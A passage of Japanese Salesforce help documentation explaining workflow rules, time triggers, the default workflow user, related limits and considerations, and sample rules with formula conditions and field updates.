効でない場合、Salesforceはそのワークフロールールにデフォルトのワークフロー
ユーザを関連付けます。
1. ワークフロールールを開きます。
2. [時間ベースのアクション] セクションで [タイムトリガの追加] をクリックし

ます。

メモ: 次の場合、タイムトリガを追加できません。
• 評価条件が [レコードが次の場合にルールを評価:] [作成されたとき、

およびその後基準を満たすように編集されたとき] に設定されてい
る。

• ルールが有効にされている。
• ルールは無効にされているが、ワークフローキューに待機中のアク

ションがある。
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3. レコードの作成日など、そのレコードに関連する日時を前後の日数、時間数で指定します。
ワークフロールールがこのタイミングでも有効な場合、タイムトリガがワークフローアクションを実行し
ます。

4. タイムトリガを保存します。
5. 作成したタイムトリガのセクションで、[ワークフローアクションの追加] をクリックします。
6. アクションを作成するいずれかのオプションを選択するか、既存のアクションを選択します。
7. [完了] をクリックします。

関連トピック:

ワークフロールールへの自動アクションの追加
時間ベースのアクションとタイムトリガの考慮事項

Salesforce 組織のデフォルトのワークフローユーザの特定

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスの自動化設定を
編集する
• 「アプリケーションの

カスタマイズ」

ルールを起動したユーザが有効でないときにそのワークフロールールでSalesforce

で表示する [デフォルトのワークフローユーザ] を選択します。
組織がワークフロー内で時間ベースのアクションを使用する場合、デフォルト
のワークフローユーザを指定する必要があります。ルールを起動したユーザが
有効でない場合、Salesforceは、ToDo では [作成者] 項目、メールでは [送信ユー
ザ] 項目、項目自動更新では [最終更新者] 項目にデフォルトのワークフロー
ユーザ名を表示します。Salesforce は、アウトバウンドメッセージにはこのユー
ザ名を表示しません。待機中のアクションで問題が発生した場合は、デフォル
トのワークフローユーザにメール通知が送信されます。
ワークフローメールアラートが特定の制限に近づいている場合や制限を超えた
場合、Salesforceは警告メールをデフォルトのワークフローユーザに送信します。
デフォルトのワークフローユーザが設定されていない場合は、有効なシステム
管理者に送信します。
1. [設定] から、[クイック検索]ボックスに「プロセスの自動化設定」と入力し、

[プロセスの自動化設定] を選択します。
2. [デフォルトのワークフローユーザ] でユーザを選択します。
3. 変更内容を保存します。

関連トピック:

メールアラートの日次制限
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アクションとワークフロールールまたは承認プロセスとの関連付け

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

既存のアクションを選択
する
• 「アプリケーションの

カスタマイズ」

組織ですでに作成されているアクションを、ワークフロールールおよび承認プ
ロセスと関連付けます。
既存のワークフローアクションをワークフロールールと関連付ける手順は、次
のとおりです。
1. [設定] から、[クイック検索] ボックスに「ワークフロールール」と入力し、

[ワークフロールール] を選択します。
2. ワークフロールールを選択します。
3. [ワークフローアクション] セクションで [編集] をクリックします。
4. [ルール適用時のアクション] または [時間ベースのアクション] セクションで

[ワークフローアクションの追加] をクリックし、[既存アクションの選択] を
選択します。

5. ワークフロールールと関連付けるアクションの種類を選択します。
6. [選択可能なアクション] ボックスからアクションを選択し、右矢印を使用し

て [選択済みのアクション]ボックスに選択したアクションを移動します。必
要に応じて左矢印を選択し、[選択可能なアクション] ボックスからアクショ
ンを再移動します。

7. 変更内容を保存します。
既存のワークフローアクションを承認プロセスと関連付ける手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「承認プロセス」と入力し、[承認プロセス] を選択します。
2. 承認プロセスの名前をクリックします。
3. アクションを実行するタイミングに応じて、次のいずれかの操作を実行します。

• [申請時のアクション]、[最終承認時のアクション]、または [最終却下時のアクション]、または [取り消
し時のアクション] セクションで [既存アクションの追加] をクリックします。

• [承認ステップ] セクションで [アクションを表示] をクリックし、[承認時のアクション]、[却下時のアク
ション]、または [取り消し時のアクション] セクションで [既存アクションの追加] をクリックします。

「承認プロセスへ既存の自動アクションの追加」 (ページ 5908)を参照してください。
4. 承認プロセスと関連付けるアクションの種類を選択します。[選択可能なアクション] ボックスに、選択し

た種類の既存のアクションがすべて表示されます。
5. テキスト項目に具体的なアクションの名前を入力し、[検索] をクリックします。
6. [選択可能なアクション] ボックスから、承認プロセスと関連付けるアクションを選択し、右矢印を使用し

て[選択済みのアクション]ボックスに移動します。必要に応じて左矢印を選択し、[選択可能なアクション]

ボックスからアクションを再移動します。
7. 変更内容を保存します。
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ワークフロールールの有効化

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ワークフロールールとア
クションを作成または変
更する
• 「アプリケーションの

カスタマイズ」

Salesforce は、ワークフローが有効にされるまでワークフロールールを起動しま
せん。
ワークフロールールを有効にするには、ワークフロールールの詳細ページで[有
効化]をクリックします。ルールが起動されないようにする、または、時間ベー
スのアクションとルールに関連付けられているタイムトリガを編集するには、
[無効化] をクリックします。
ワークフロールールはいつでも無効にできます。ただし、待機中のアクション
があるルールを無効にする場合、そのルールをトリガしたレコードが更新され
ない限り、Salesforce は待機中のアクションを完了します。

メモ:

• ワークフローキューに待機中のアクションがあるワークフロールールは
削除できません。待機中のアクションが処理されるまで待つか、ワーク
フローキューを使用して待機中のアクションをキャンセルしてくださ
い。

• 有効なワークフロールールに時間ベースのアクションを追加することは
できません。まず、ワークフロールールを無効化し、時間ベースのアク
ションを追加してからルールを再有効化してください。

関連トピック:

ワークフロールールの条件の設定

ワークフローの考慮事項

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ワークフロールールおよびワークフローアクションの操作を開始する前に、そ
の複雑性について理解しておきます。

ヒント: 必要な場合は、ワークフロールールの代わりにプロセスビルダー
で if/then ステートメントを自動化します。

• 各ワークフロールールは単一オブジェクトに適用されます。
• 取引開始済みのリード数にワークフロールールがあり、結果の取引先および

商談にクロスオブジェクト項目自動更新を使用する場合、リード設定 [取引
開始済みのリードに入力規則が必須] を有効化する必要があります。

• カスタムオブジェクトが削除されると、カスタムオブジェクトに対するワー
クフロールールも自動的に削除されます。

• 個々のアクションおよびアクションの種類が実行される順序は保証されません。ただし、項目自動更新ア
クションが最初に実行され、その他のアクションがそれに続きます。

• 新規ケースコメントまたは受信メールメッセージに基づいてケースの項目を更新するワークフロールール
を作成するには、[オブジェクトの選択] ドロップダウンリストから [ケースコメント] または [メールメッ
セージ] を選択します。[メールメッセージ] は、メール-to-ケースまたはオンデマンドメール-to-ケースが有
効なときだけ使用できます。メールメッセージのワークフロールールは、項目自動更新についてのみ作成
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でき、ケースコメントのワークフロールールは、項目自動更新、メールアラート、およびアウトバウンド
メッセージについてのみ作成できます。たとえば、[受信] とマークされたメールにより、そのケースの
[状況] を [クローズ] から [新規] に変更するワークフロールールを作成できます。

• Connect Offline の使用中にレコードに加えた変更は、同期時にワークフロールールで評価されます。
• Salesforce は、次の順番でルールを処理します。

1. 入力規則
2. 割り当てルール
3. 自動レスポンスルール
4. ワークフロールール (ルール適用時のアクション)

5. エスカレーションルール
• 参照項目が削除済みのレコードを参照している場合、デフォルトでは Salesforce により参照項目の値がクリ

アされます。または、レコードが参照関係にある場合は削除されないように選択することもできます。
• Apex トリガに置き換わるワークフロールールを作成する場合、そのワークフロールールを有効化する前に

Apexトリガを削除する必要があります。削除しないと、Apexトリガとワークフロールールの両方が起動し、
上書きされた項目の更新や重複したメールメッセージなど、予期しない結果が生じることがあります。

ワークフロールールはいつトリガされますか?

• ワークフロールールは、レコードが保存または作成されたときならいつでもルール条件に基づいてトリガ
できます。ただし、レコードを保存した後で作成したルールが、それらのレコードによって遡ってトリガ
されることはありません。

• 主従関係の中の標準またはカスタムオブジェクトに親が設定されると、そのオブジェクトの評価条件が [レ
コードが次の場合にルールを評価: 作成されたとき、およびその後基準を満たすように編集されたとき] に設
定されているときでも、ワークフロールールがトリガされます。

• レコードの保存または作成によって複数のルールをトリガできます。
• リードの取引開始のための入力規則とワークフロートリガが組織で有効になっている場合、ワークフロー

ルールは、取引開始済みのリードについてのみトリガされます。
• ワークフロールールは自動的にトリガされ、ユーザが意識することはありません。また、承認プロセスは、

ユーザがレコードの承認を申請できるようにします。
• 組織で複数の言語を使用している場合は、検索条件値は個々の言語で入力します。それぞれ最大 255 文字

の範囲内で、検索条件を 25 個まで追加できます。
選択リストを使用して検索条件を指定すると、選択した値が組織のデフォルト言語で保存されます。既存
の検索条件を編集またはコピーする場合は、最初に [組織情報] ページの [言語のデフォルト値] を、元の検
索条件の設定に使用したものと同じ言語に設定します。一致していないと、検索条件が期待どおりに評価
されない可能性があります。

• ラベルがトランスレーションワークベンチで翻訳されたワークフロールールの条件でレコードタイプを使
用する場合、翻訳された表示ラベルの値ではワークフロールールがトリガされません。ワークフロー条件
ではマスタラベルの値が評価され、翻訳された値は無視されます。この問題を回避するには、[値]項目に
マスタレコードタイプの表示ラベルの値を手動で入力して、この値を評価するようにワークフロー条件を
設定します。
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• ワークフロールールは、個々のキャンペーン統計やキャンペーン階層統計など、キャンペーン統計項目で
トリガすることはできません。

• 条件が参照する項目に値がない場合は、ワークフロールールがトリガされません。たとえば、ユーザベー
スのワークフロールールが「ロール」「次の文字列と一致しない」「CEO」をチェックする場合、ロールが
割り当てられていないユーザにはルールがトリガされません。条件の代わりに数式を使用して、項目が Null

なのか「CEO」以外のものに設定されているのかを確認します。
UserRoleId == null || UserRole.Name != "CEO"

• ワークフロールールがトリガされないアクションを次に示します。
– 選択リスト値の一括置換
– 住所項目の一括更新
– ディビジョンの一括更新
– 取引先と商談に割り当てられたテリトリーの変更
– リードから個人取引先への移行
– セルフサービスポータル、カスタマーポータル、またはパートナーポータルのユーザの無効化
– [設定] の [州/国選択リスト] ページからの州と国のデータの変換
– メタデータ API の AddressSettings を使用した州/国選択リストの変更

ワークルフロールールの制限事項
• タイムトリガを含むワークフロールールをパッケージができません。
• 連結オブジェクトのワークフロールールについては、アウトバウントメッセージは作成できません。

ヒント: ワークフロールールをデバッグするには、開発者コンソールを使用します。開発者コンソールを
使用して、ワークフロールールをトリガしたユーザの名前や評価中のレコードの名前と ID など、デバッ
グログの詳細を参照したり、ワークフロールールとアクションに関する情報を参照したりできます。

User オブジェクトのワークフロー (ベータ)

User オブジェクトのワークフロールールやワークフローアクションを作成できます。たとえば、新入社員
にお知らせメールを送信したり、アウトバウンドメッセージアクションを使用してユーザデータをサード
パーティのサービスと同期させたりできます。
時間ベースのアクションとタイムトリガの考慮事項

関連トピック:

ワークフロールールの条件の設定
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User オブジェクトのワークフロー (ベータ)

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

User オブジェクトのワークフロールールやワークフローアクションを作成でき
ます。たとえば、新入社員にお知らせメールを送信したり、アウトバウンドメッ
セージアクションを使用してユーザデータをサードパーティのサービスと同期
させたりできます。

メモ: このリリースには、User オブジェクトのワークフローのベータバー
ジョンが含まれています。本番品質ではありますが、既知の制限がありま
す。フィードバックや提案を送信する場合は、「IdeaExchange」に移動して
ください。

使用事例
User オブジェクトでは、次のワークフロールールを設定できます。
• メールアラートアクションを使用して、トレーニングリソースを含むお知らせメールを、新しく作成され

たユーザに送信する。
• メールアラートアクションを使用して、ユーザがロールを変更したり、無効化されたりしたときにメール

アラートを送信する。
• 項目自動更新アクションを使用して、指定した期間後に臨時従業員を無効にする。
• アウトバウンドメッセージアクションを使用して、ユーザデータをサードパーティのシステムと同期させ

る。

ユーザオブジェクトの差し込み項目種別
メールテンプレートのユーザレコードの差し込み項目を使用する場合、次の差し込み項目の種別から選択しま
す。
• ユーザの項目 — これらの差し込み項目は、送信ユーザを表すために使用します。{!User.field_name}

という名前の差し込み項目では、ワークフロールールをトリガしたレコードを作成または更新したユーザ
のユーザレコードの値が返されます。

• ワークフロー対象ユーザ項目 — これらの差し込み項目は、ユーザオブジェクトのワークフロールールの
メールテンプレートでのみ使用します。{!Target_User.field_name}という名前の差し込み項目では、
ワークフロールールをトリガするために作成または更新されたユーザレコードの値が返されます。

User オブジェクトのワークフローのベータの制限
User オブジェクトのワークフロールールまたはワークフローアクションを作成する前に次の制限を理解してお
きます。
• ToDo は、ユーザオブジェクトのワークフローアクションとしてはサポートされません。
• ワークフロールール条件を設定する場合、選択リストを使用して [現在のユーザ]項目を選択することはで

きません。ただし、数式を使用してルール条件を設定し、現在のユーザの項目を含めることは可能です。
数式エディタで [項目の挿入]をクリックして $User を選択し、項目を選択してから [挿入]をクリックしま
す。
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• ワークフロールールが実行される前に、カスタム検証ルールが実行されます。『Apex 開発者ガイド』の「ト
リガと実行の順序」を参照してください。

関連トピック:

ワークフローの考慮事項

時間ベースのアクションとタイムトリガの考慮事項

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ワークフロールールの時間ベースのアクションとタイムトリガを作成する場合
は、次の点に留意してください。

タイムトリガの定義
• タイムトリガを定義するとき、そのオブジェクトに対して定義されている標

準およびカスタムの日付項目と日付/時間項目を使用します。時間は日数と時
間数を使用して指定します。有効な範囲は 0 ～ 999 日または時間です。

• アクションを追加または削除して、既存のタイムトリガを変更できます。

メモ: タイムトリガからすべてのアクションを削除しても、トリガは削
除されません。空のトリガがその後もキューに配置され、1 時間あたり
のワークフロータイムトリガの制限にカウントされます。スケジュール
されたタイムトリガを削除するには、ワークフローキューから削除しま
す。

タイムトリガの処理
• 時間ベースのアクションは個別には実行されません。最初のアクションがバッチに入ってから 1 時間以内

に実行が開始される、1 つのバッチにグループ化されます。
• 時間ベースのアクションの結果として実行される Apex トリガは、1 つのバッチとして実行されることもあ

れば、単独で実行されることもあります。次のベストプラクティスに従ってください。
– 単独で実行される場合 – Apexロジックの範囲が単一のスケジュール済みアクションに設定されているこ

とを確認します。たとえば、Apex の静的変数を使用して、さまざまなスケジュール済みアクションに
よってトリガされる Apex コード間で状態をやり取りしないでください。

– 単一のバッチで実行される場合 – 時間ベースのアクションと Apex トリガの組み合わせが、Apex のガバ
ナ制限にどのように影響するかに注意してください。

• Salesforce では、時間ベースのワークフローは、ユーザではなく組織のタイムゾーンに基づいて評価されま
す。異なるタイムゾーンのユーザが確認する動作には違いがあります。

• タイムトリガの実行順序は、ワークフロールール詳細ページに表示される順序とは異なる場合があります。
ワークフロールールはまず、[次の日付より前] 項目を使用するタイムトリガを列挙し、次に [次の日付よ
り後] 項目を使用するタイムトリガが続きます。

• ワークフロールール評価条件を [レコードが次の場合にルールを評価: 作成されたとき、およびその後基準を
満たすように編集されたとき]に設定すると、ワークフロールール編集ページに時間ベースのアクションコ
ントロールが表示されません。
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• 評価対象であるワークフロールール条件の未実行のタイムトリガが参照する日付項目を変更すると、Salesforce

がそのルールに関連付けられている未実行のタイムトリガを再計算します。たとえば、ワークフロールー
ルが商談の完了予定日の 7 日前にその商談の所有者にアラートを出すように設定すると、完了予定日が 2011

年 2 月 20 日であれば、Salesforce は 2011 年 2 月 13 日にアラートを送信します。完了予定日が 2011 年 2 月 10

日に更新され、そのタイムトリガがまだ実行されていなければ、Salesforce はアラートを 2011 年 2 月 3 日に
再スケジュールします。Salesforce がタイムトリガを過去の日付に再計算した場合、レコードを保存すると
すぐに関連付けられたアクションが実行されます。

• ワークフロールールに過去の日付に設定されたタイムトリガがある場合は、1 時間以内に実行を開始するた
め、関連付けられた時間ベースのアクションが Salesforce によってキューに追加されます。たとえば、商談
のワークフロールールで商談完了予定日の 7 日前に項目を更新するように設定されている場合に、商談完
了予定日を本日に設定した商談レコードを作成すると、その商談を作成してから 1 時間以内に Salesforce に
より項目の更新プロセスが開始されます。

• 時間ベースのアクションは、ワークフロールールの条件が有効である限り、ワークフローキューに入った
ままになります。レコードがルール条件に一致しなくなると、Salesforce がそのレコードについてキューに
入っている時間ベースのアクションを削除します。
たとえば、次のような商談ワークフロールールを指定するとします。
– 条件が「商談: 状況次の文字列と一致しない商談成立, 不成立」に設定されている
– タイムトリガを持つ関連付けられた時間ベースのアクションが、商談完了予定日の 7 日前に設定されて

いる
この条件に一致するレコードが 7 月 1 日に作成され、[完了予定日] が 7 月 30 日に設定されているなら、時
間ベースのアクションは 7 月 23 日にスケジュール設定されます。ただし、この商談が 7 月 23 日より前に
「成立」または「不成立」に設定されると、この時間ベースのアクションはキューから削除されます。

• null 項目を参照するタイムトリガは無視されます。
• レコードが更新され、評価条件が [レコードが次の場合にルールを評価: 作成されたとき、およびその後基準

を満たすように編集されたとき]に設定されている場合、時間ベースのアクションを自動的に再度キューに
入れることができます。上記の例で、商談の状況が [不成立] から [見込み客] に変わり、ワークフロールー
ル評価条件が [レコードが次の場合にルールを評価: 作成されたとき、およびその後基準を満たすように編集
されたとき]の場合、Salesforceはタイムトリガを再評価し、該当するアクションをワークフローキューに追
加します。

• 待機中のアクションを持つレコードを削除すると、ワークフローキューから待機中のアクションが削除さ
れます。レコードを復元しても、アクションを復元することはできません。

• 評価条件が [レコードが次の場合にルールを評価: 作成済み] に設定されている場合、ワークフロールール
がタイムトリガの評価を行うのは 1 回のみです。ルールを起動したレコードが変更されて評価条件に一致
しなくなると、Salesforce により待機中のアクションはキューから削除され、ルールがそのレコードに再度
適用されることはありません。

• ワークフロールールはいつでも無効にできます。そのルールがワークフローキューに待機中のアクション
を持つ場合、そのルールを起動するレコードを編集すると、キューから待機中のアクションが削除されま
す。レコードを編集しないと、ルールが無効にされても待機中のアクションは処理されます。

• 次の場合は、再評価されたワークフロールールに対して時間ベースのアクションが実行されません。
– 再評価されたワークフロールールの適用時のアクションによって、レコードがワークフロールールの条

件を満たさなくなった場合
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– ワークフローまたは承認時のアクションの結果として実行される Apex after トリガによって、レコー
ドがワークフロールールの条件を満たさなくなった場合

• ToDo の [期日] を「ルール適用日」に設定すると、タイムトリガおよびワークフロー ToDo 期日が、ワーク
フロータイムトリガのアクションが実行された日付に基づいて設定されます。たとえば、ToDo 期日が「ルー
ル適用日から 10 日後」で、1 月 1 日にタイムトリガが実行される場合、ToDo 期日は 1 月 11 日に設定されま
す。

• 変更セットのタイムトリガを使用して新しい有効なワークフロールールを追加して、リリースできます。
変更セットのワークフロールールが無効な場合、変更セットのワークフロールールに対するタイムトリガ
のみを変更できます。ルールは対象組織で、手動でまたはワークフロールールの有効化のみを実行する他
の変更セットを使用して有効化する必要があります。この際、タイムトリガは変更しません。
たとえば、対象組織に無効なワークフロールールがあり、変更セットに同じ名前および新しいまたは他の
タイムトリガを持つ有効なワークフロールールが含まれるとします。この場合は最初にワークフロールー
ルを有効化し、次にタイムトリガの追加または削除を試みるため、リリースは失敗します。

メモ: ワークフロールールを変更セットに含める場合、時間ベースのアクションは手動で追加する必
要があります。[連動関係を参照/追加] 関数は時間ベースのアクションを検出しません。

リードでの時間ベースのワークフローアクションの使用
• 待機中のアクションがあるリードは取引を開始できません。
• [リードの取引開始による入力規則とワークフロートリガの実行] が有効になっていると、リードに対する

既存の時間ベースのワークフローアクションは、リードの取引開始時には起動されません。
• リードに基づくキャンペーンメンバーが、関連付けられた時間ベースのワークフローアクションが完了す

る前に取引を開始した場合、時間ベースのワークフローアクションはそのまま実行されます。

制限事項
• タイムトリガは、分および秒をサポートしていません。
• タイムトリガは次の項目を参照できません。

– TODAY または NOW など、自動的に派生した関数を含む [日付] または DATETIME 項目。
– 関連オブジェクトの差し込み項目が含まれる数式項目。

• Salesforceでは 1 つの組織が 1 時間以内に実行できるタイムトリガの数が制限されています。組織である時間
のタイムトリガの数がそのエディションの制限を超えると、次の時間にタイムトリガの実行が保留されま
す。たとえば、Unlimited Edition を利用する組織で、午後 4 時から 5 時までの間に 1,200 のタイムトリガが予定
されていたとします。この場合、午後 4 時から 5 時までに実際に実行されるタイムトリガはSalesforceによっ
て 1,000 に抑えられ、残りの 200 は午後 5 時から 6 時の間に実行されます。

• 待機中のアクションがある商品または価格表はアーカイブできません。
• 時間ベースのワークフローアクションがキュー内にある場合、タイムトリガの追加や削除、またはトリガ

日付の編集を行うには、最初にアクションを削除する必要があります。削除されたレコードは復元できな
いため、続行する前にワークフロールールの編集の影響を十分に考慮してください。ワークフロールール
を編集することにした場合は、編集するワークフローを無効化し、必要に応じてルールを編集してから、
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変更内容を保存します。キューにある時間ベースのワークフローアクションの検索および削除についての
詳細は、「待機中のワークフローアクションの監視」 (ページ 5889)を参照してください。
次の場合、タイムトリガを追加も削除もできません。
– ワークフロールールが有効になっている。
– ルールは無効にされているが、キューに待機中のアクションがある。
– ワークフロールールの評価条件が [レコードが次の場合にルールを評価: 作成されたとき、および編集さ

れるたび] に設定されている。
– ワークフロールールがパッケージに含まれている。

関連トピック:

ワークフロールールへの自動アクションの追加
Salesforce 組織のデフォルトのワークフローユーザの特定

ワークフロールールの例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ワークフロールールでビジネスを合理化する方法を探していている場合、次の
例を確認してください。
ビジネスプロセス

契約期限切れ前のフォローアップ
プラチナ契約のケースクローズ時のフォローアップ
新規顧客の信用調査の割り当て
取引先所有者への優先度の高い新規ケースに関する通知
配送に遅延がある場合の配送状況の更新
新規ユーザの自動有効化

オブジェクト間プロセス
営業統括責任者への主要取引先のケースに関する通知
デフォルトの商談名の設定
ケースの目標解決日の設定
応募者が仕事を引き受けた場合のアプリケーションレコードの更新

商談管理
完了した商談の追跡
デフォルトの商談完了日の上書き
不成立商談のレポート
未割り当てのリードのレポート
見積品目の割引が 40% を超えた場合のアラートの送信

通知
主要人物への取引先所有者の変更に関する通知
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取引先責任者の誕生日のアラームの設定
重要商談完了日のアラームの設定
取引先所有者への別のユーザによる更新に関する通知

契約期限切れ前のフォローアップ

契約オブジェクト

契約終了の 20 日前に更新マネージャにアラームをメールで送信します。説明

レコードが次の場合にルールを評価: [作成されたとき、およびその後基準を満たすよ
うに編集されたとき]

評価条件

次の検索条件が一致する場合に、このルールを実行します。
(Contract: Status equals Activated)

ルール条件 (条件一致)

なしルール適用時のアク
ション

20 日前契約: 終了日 — [メールアラート:] クライアントが延長を希望するかどうか
を確認するリマインダーを更新マネージャにメールで送信します。

時間ベースのアクショ
ン

プラチナ契約のケースクローズ時のフォローアップ
この例は、ケースの契約レベルを識別するために [契約種別] カスタム選択リストを使用しており、選択リス
トに「プラチナ」という値が含まれていることを前提としています。

ケースオブジェクト

顧客がプラチナ契約を所有している場合に、優先度の高いケースがクローズされて
から 7 日後にフィードバック要求をケース取引先責任者にメールで送信します。

説明

レコードが次の場合にルールを評価: [作成されたとき、およびその後基準を満たすよ
うに編集されたとき]

評価条件

次の検索条件が一致する場合に、このルールを実行します。
(Case: Priority equals High) and
(Case: Closed equals True) and
(Case: Contract Type equals Platinum)

ルール条件 (条件一致)

なしルール適用時のアク
ション

7 日後ケース: クローズした日時 — [メールアラート:] フィードバック要求をケース
の取引先責任者にメールで送信します。

時間ベースのアクショ
ン
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新規顧客の信用調査の割り当て
この例は、商談に [新規顧客] カスタム項目があることを前提としています。

商談オブジェクト

金額が $50,000 を超える場合に、商談完了日の 15 日前に潜在顧客の信用調査を行う
ToDo を請求担当 (AR) 部門に割り当てます。

説明

レコードが次の場合にルールを評価: [作成されたとき、およびその後基準を満たすよ
うに編集されたとき]

評価条件

次の検索条件が一致する場合に、このルールを実行します。
(Opportunity: Amount greater than 50000) and
(Opportunity: Closed equals False) and
(Opportunity: New Customer equals True)

ルール条件 (条件一致)

なしルール適用時のアク
ション

15 日前商談: 完了日 — ToDo: 請求担当ロールのユーザが信用調査を行う ToDo を作
成します。

時間ベースのアクショ
ン

取引先所有者への優先度の高い新規ケースに関する通知
この例は、「SLA」というサービスレベル契約カスタム選択リストで取引先の契約レベルを識別しており、そ
れに「プラチナ」という値が含まれていることを前提としています。

ケースオブジェクト

プラチナ SLA を所有する取引先に対する優先度の高いケースが作成されたときに、
取引先所有者に通知します。

説明

レコードが次の場合にルールを評価: [作成されたとき]評価条件

次の検索条件が一致する場合に、このルールを実行します。
(Case: Priority equals High) and
(Account: SLA equals Platinum)

ルール条件 (条件一致)

[メールアラート:]優先度の高いケースの詳細に関するメールを取引先所有者に送信
します。

ルール適用時のアク
ション

なし時間ベースのアクショ
ン
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配送に遅延がある場合の配送状況の更新

配送オブジェクト

配送が配送予定日より遅れている場合や、顧客に到着していない場合は、[発送の状
況] 項目を [遅延] に更新します。

説明

レコードが次の場合にルールを評価: [作成されたとき、およびその後基準を満たすよ
うに編集されたとき]

評価条件

次の検索条件が一致する場合に、このルールを実行します。
(Shipment: Status not equal to Delivered)

ルール条件 (条件一致)

なしルール適用時のアク
ション

配送予定日の 1 日後 — [項目自動更新]: 配送レコードの [発送の状況] 項目を [遅延]

に変更します。
時間ベースのアクショ
ン

新規ユーザの自動有効化

ユーザオブジェクト

各新規ユーザが有効であり、Salesforce にログインできることを確認します。説明

レコードが次の場合にルールを評価: [作成されたとき]評価条件

次の検索条件が一致する場合に、このルールを実行します。
(User: Active equals False)

ルール条件 (条件一致)

項目自動更新: [有効] を True に設定します。ルール適用時のアク
ション

なし。時間ベースのアクショ
ン

営業統括責任者への主要取引先のケースに関する通知
このワークフロールールは、主要取引先のケース項目について把握する必要がある営業統括責任者用です。主
要取引先は、規模と収益によって判断されます。

ケースオブジェクト

主要取引先のケース項目について営業統括責任者に通知します。説明

レコードが次の場合にルールを評価: [作成されたとき]評価条件
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次の検索条件が一致する場合に、このルールを実行します。
AND(Account.AnnualRevenue > 500000, Account.NumberOfEmployees > 5000)

ルール条件 (条件一致)

[メールアラート:] 主要取引先のケースについて営業統括責任者に通知します。ルール適用時のアク
ション

なし時間ベースのアクショ
ン

デフォルトの商談名の設定
一部の会社の商談の命名規則は 取引先名: 商談名 です。組織で各商談のデフォルト名を自動化するには、次
のワークフロールールを作成します。

商談オブジェクト

商談の命名規則を適用します。説明

レコードが次の場合にルールを評価: [作成されたとき、および編集されるたび]評価条件

次の検索条件が一致する場合に、このルールを実行します。
NOT(CONTAINS( Name, Account.Name ))

ルール条件 (条件一致)

項目自動更新: 商談名を次の数式に設定します。
Account.Name & ": " & Name

ルール適用時のアク
ション

なし時間ベースのアクショ
ン

ケースの目標解決日の設定
この例では、関連付けられた取引先の項目値に基づいてケースの解決日を設定しています。[サポートレベル]

という、取引先のカスタム選択リスト項目を使用しますが、これには、[基本]、[標準]、[プレミアム] の 3 つの
値があります。ケースにはカスタム日付項目もあり、[目標解決日] と呼ばれています。
次の 3 つのワークフロールールの例を使用し、関連する取引先のサポートレベルに基づいてケースの目標解決
日を設定します。
ベーシックサポートの解決日の設定

ケースオブジェクト

ベーシックサポートレベルの取引先に対するケースの目標解決日を今日の日付から
30 日後に設定します。

説明

レコードが次の場合にルールを評価: [作成されたとき]評価条件
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次の数式が true の場合に、このルールを実行します。
ISPICKVAL(Account.Support_Level__c , "Basic")

ルール条件 (条件一致)

項目自動更新: [目標解決日] を Today() + 30 に設定します。ルール適用時のアク
ション

なし時間ベースのアクショ
ン

ベーシックサポートの解決日の設定

ケースオブジェクト

ベーシックサポートレベルの取引先に対するケースの目標解決日を今日の日付から
14 日後に設定します。

説明

レコードが次の場合にルールを評価: [作成されたとき]評価条件

次の数式が true の場合に、このルールを実行します。
ISPICKVAL(Account.Support_Level__c , "Standard")

ルール条件 (条件一致)

項目自動更新: [目標解決日] を Today() + 14 に設定します。ルール適用時のアク
ション

なし時間ベースのアクショ
ン

プレミアムサポートの解決日の設定

ケースオブジェクト

プレミアムサポートレベルの取引先に対するケースの目標解決日を今日の日付から
5 日後に設定します。

説明

レコードが次の場合にルールを評価: [作成されたとき]評価条件

次の数式が true の場合に、このルールを実行します。
ISPICKVAL(Account.Support_Level__c , "Premium")

ルール条件 (条件一致)

項目自動更新: [目標解決日] を Today() + 5 に設定します。ルール適用時のアク
ション

なし時間ベースのアクショ
ン
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応募者が仕事を引き受けた場合のアプリケーションレコードの更新
このワークフロールールは、応募者が仕事を引き受けたときにアプリケーションレコードを終了します。クロ
スオブジェクト項目のマスタレコードへの自動更新は、主従関係のカスタムオブジェクト間でサポートされて
います。

応募者オブジェクト

カスタム応募者オブジェクトの [応募者の状況]項目が受諾に変更されたとき、カス
タムアプリケーションオブジェクトの [アプリケーションの状況] 項目を [完了] に変
更します。

説明

レコードが次の場合にルールを評価: [作成されたとき、およびその後基準を満たすよ
うに編集されたとき]

評価条件

次の検索条件が一致する場合に、このルールを実行します。
(Candidate: Status equals Accepted)

ルール条件 (条件一致)

[項目自動更新:] 親アプリケーションレコードの [アプリケーションの状況] 項目を
[完了] に変更します。

ルール適用時のアク
ション

なし時間ベースのアクショ
ン

完了した商談の追跡
この例は、「完了した商談」レコードタイプが特定のプロファイルに追加情報を提供することを前提としてま
す。

メモ: レコードタイプについての詳細は、「ユーザごとのビジネスプロセスの調整」 (ページ5292)を参照し
てください。

商談オブジェクト

成立商談のレコードタイプを変更します。説明

レコードが次の場合にルールを評価: [作成されたとき、および編集されるたび]評価条件

次の検索条件が一致する場合に、このルールを実行します。
(Opportunity: Closed equals True) and
(Opportunity: Stage equals Closed Won)

ルール条件 (条件一致)

[項目自動更新:] レコードタイプを [完了した商談] に設定します。ルール適用時のアク
ション

なし時間ベースのアクショ
ン
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デフォルトの商談完了日の上書き

商談オブジェクト

デフォルトの完了予定日を四半期末から商談作成の 6 か月後に上書きします。説明

レコードが次の場合にルールを評価: [作成されたとき]評価条件

次の検索条件が一致する場合に、このルールを実行します。
(Opportunity: Closed equals False)

ルール条件 (条件一致)

[項目自動更新:]次の数式を使用して、商談完了日を商談作成の 6 か月後に設定しま
す。
